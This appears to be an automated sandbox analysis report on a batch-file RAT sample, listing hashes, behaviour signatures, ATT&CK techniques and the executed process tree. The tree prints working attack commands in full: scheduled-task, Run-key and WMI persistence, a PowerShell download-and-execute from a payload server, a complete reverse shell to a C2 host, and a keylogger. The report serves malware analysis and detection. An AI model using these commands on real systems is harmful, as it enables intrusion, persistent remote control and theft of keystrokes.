Analysis
- max time kernel
149s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:18
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_95643_014309.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_95643_014309.bat
Resource
win11-20260513-en
General
- Target rat_build_95643_014309.bat
- Size 4KB
- Sample260529-18dcpsct6k
- SHA256 0850e0c1a6dd49266a9331c3d4ce9158bc5d238880493b7214c77853b6e5d07a
- MD5 37a78851faa126b8322aac251ccaa79b
- SHA1 0a475a6666c0ec777f8a5673a9d205d46016b3db
- SHA512 2c2e55f3260a8fc9d767b59421caddbf20880ead33fce860fbad5744a8d8266c7d47428954a043b6ff8d1e184baa8e71bbfe69eeeaa3395d40c32057b78602bb
- SSDEEP 96:zInNWo4Ubxi6RGV9I8QKLnIYCEfHIanSWr48USdzgFNBiFgZk8mvlo10I:z9o4UV2I8ILELSW3zEiFgkHl5I
- TLSH T1ACA108236796722058F41A18DE313C4C636CEAF71708D88EFE488DC50A4CF4BA6691E7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_95643.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 452 powershell.exe 2912 powershell.exe 2136 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_95643 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_95643.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 4468 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2500 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4948 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2176 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2912 powershell.exe 2912 powershell.exe 2136 powershell.exe 2136 powershell.exe 452 powershell.exe 452 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3620 WMIC.exe Token: SeSecurityPrivilege 3620 WMIC.exe Token: SeTakeOwnershipPrivilege 3620 WMIC.exe Token: SeLoadDriverPrivilege 3620 WMIC.exe Token: SeSystemProfilePrivilege 3620 WMIC.exe Token: SeSystemtimePrivilege 3620 WMIC.exe Token: SeProfSingleProcessPrivilege 3620 WMIC.exe Token: SeIncBasePriorityPrivilege 3620 WMIC.exe Token: SeCreatePagefilePrivilege 3620 WMIC.exe Token: SeBackupPrivilege 3620 WMIC.exe Token: SeRestorePrivilege 3620 WMIC.exe Token: SeShutdownPrivilege 3620 WMIC.exe Token: SeDebugPrivilege 3620 WMIC.exe Token: SeSystemEnvironmentPrivilege 3620 WMIC.exe Token: SeRemoteShutdownPrivilege 3620 WMIC.exe Token: SeUndockPrivilege 3620 WMIC.exe Token: SeManageVolumePrivilege 3620 WMIC.exe Token: 33 3620 WMIC.exe Token: 34 3620 WMIC.exe Token: 35 3620 WMIC.exe Token: 36 3620 WMIC.exe Token: SeIncreaseQuotaPrivilege 3620 WMIC.exe Token: SeSecurityPrivilege 3620 WMIC.exe Token: SeTakeOwnershipPrivilege 3620 WMIC.exe Token: SeLoadDriverPrivilege 3620 WMIC.exe Token: SeSystemProfilePrivilege 3620 WMIC.exe Token: SeSystemtimePrivilege 3620 WMIC.exe Token: SeProfSingleProcessPrivilege 3620 WMIC.exe Token: SeIncBasePriorityPrivilege 3620 WMIC.exe Token: SeCreatePagefilePrivilege 3620 WMIC.exe Token: SeBackupPrivilege 3620 WMIC.exe Token: SeRestorePrivilege 3620 WMIC.exe Token: SeShutdownPrivilege 3620 WMIC.exe Token: SeDebugPrivilege 3620 WMIC.exe Token: SeSystemEnvironmentPrivilege 3620 WMIC.exe Token: SeRemoteShutdownPrivilege 3620 WMIC.exe Token: SeUndockPrivilege 3620 WMIC.exe Token: SeManageVolumePrivilege 3620 WMIC.exe Token: 33 3620 WMIC.exe Token: 34 3620 WMIC.exe Token: 35 3620 WMIC.exe Token: 36 3620 WMIC.exe Token: SeIncreaseQuotaPrivilege 3044 WMIC.exe Token: SeSecurityPrivilege 3044 WMIC.exe Token: SeTakeOwnershipPrivilege 3044 WMIC.exe Token: SeLoadDriverPrivilege 3044 WMIC.exe Token: SeSystemProfilePrivilege 3044 WMIC.exe Token: SeSystemtimePrivilege 3044 WMIC.exe Token: SeProfSingleProcessPrivilege 3044 WMIC.exe Token: SeIncBasePriorityPrivilege 3044 WMIC.exe Token: SeCreatePagefilePrivilege 3044 WMIC.exe Token: SeBackupPrivilege 3044 WMIC.exe Token: SeRestorePrivilege 3044 WMIC.exe Token: SeShutdownPrivilege 3044 WMIC.exe Token: SeDebugPrivilege 3044 WMIC.exe Token: SeSystemEnvironmentPrivilege 3044 WMIC.exe Token: SeRemoteShutdownPrivilege 3044 WMIC.exe Token: SeUndockPrivilege 3044 WMIC.exe Token: SeManageVolumePrivilege 3044 WMIC.exe Token: 33 3044 WMIC.exe Token: 34 3044 WMIC.exe Token: 35 3044 WMIC.exe Token: 36 3044 WMIC.exe Token: SeIncreaseQuotaPrivilege 3044 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 608 wrote to memory of 2176 608 cmd.exe 82 PID 608 wrote to memory of 4948 608 cmd.exe 83 PID 608 wrote to memory of 3620 608 cmd.exe 84 PID 608 wrote to memory of 3044 608 cmd.exe 85 PID 608 wrote to memory of 3412 608 cmd.exe 87 PID 608 wrote to memory of 2500 608 cmd.exe 88 PID 608 wrote to memory of 4468 608 cmd.exe 92 PID 608 wrote to memory of 2912 608 cmd.exe 93 PID 608 wrote to memory of 2136 608 cmd.exe 94 PID 608 wrote to memory of 452 608 cmd.exe 95 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_95643_014309.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:608 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_95643" /tr "C:\Users\Admin\AppData\Local\Temp\_95643.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2176
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C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_95643" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_95643.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4948
-
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_95643", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3620
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_95643", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_95643.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3044
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_95643.txt2⤵PID:3412
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:2500
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:4468
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_95643.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2912
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2136
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:452
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a2f2f0033d120152c7f43db61e5867c538be686267424e37ebf1f81c2108c41f
- MD5 efbdcb1e96c21b1fa3a8ee282decfaa7
- SHA1 4b29742350c7851853767013e11d09fb954063ac
- SHA512 8e88e8ff7da00f85b2f2840a94eca8f75f425c8058a6cc86a1681784e5b0370369560a04320dc747602e3fefed9b5af750afef52bcc137944999c1c4f5e8a808
- TLSH T104117A33B79CC175C8E9117A108DAD01B1B5C3DB049EDE8B7A84C508E57F58ADBA41E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a761ee5dd0e0eee9e7f79eec31d1db3731f30048ddd7c803b7f47d558906d75e
- MD5 04a48d94f0b1a9ea5c882c0ca00711e6
- SHA1 11f5fa77d32a5c0d6b2404bd246b6bb278a0e206
- SHA512 47558ba141e3aa777620d35073a9fd8a85cb7a70050f2c45de3b5be745a77fc4f9640c60c17263adf6fe7ce46da73fb7ce1ab4ea708f0801b1ead7108c561ef6
- TLSH T167117A33B79CC134C8D9117A108DAD11B1B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3xah1vp.ggk.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH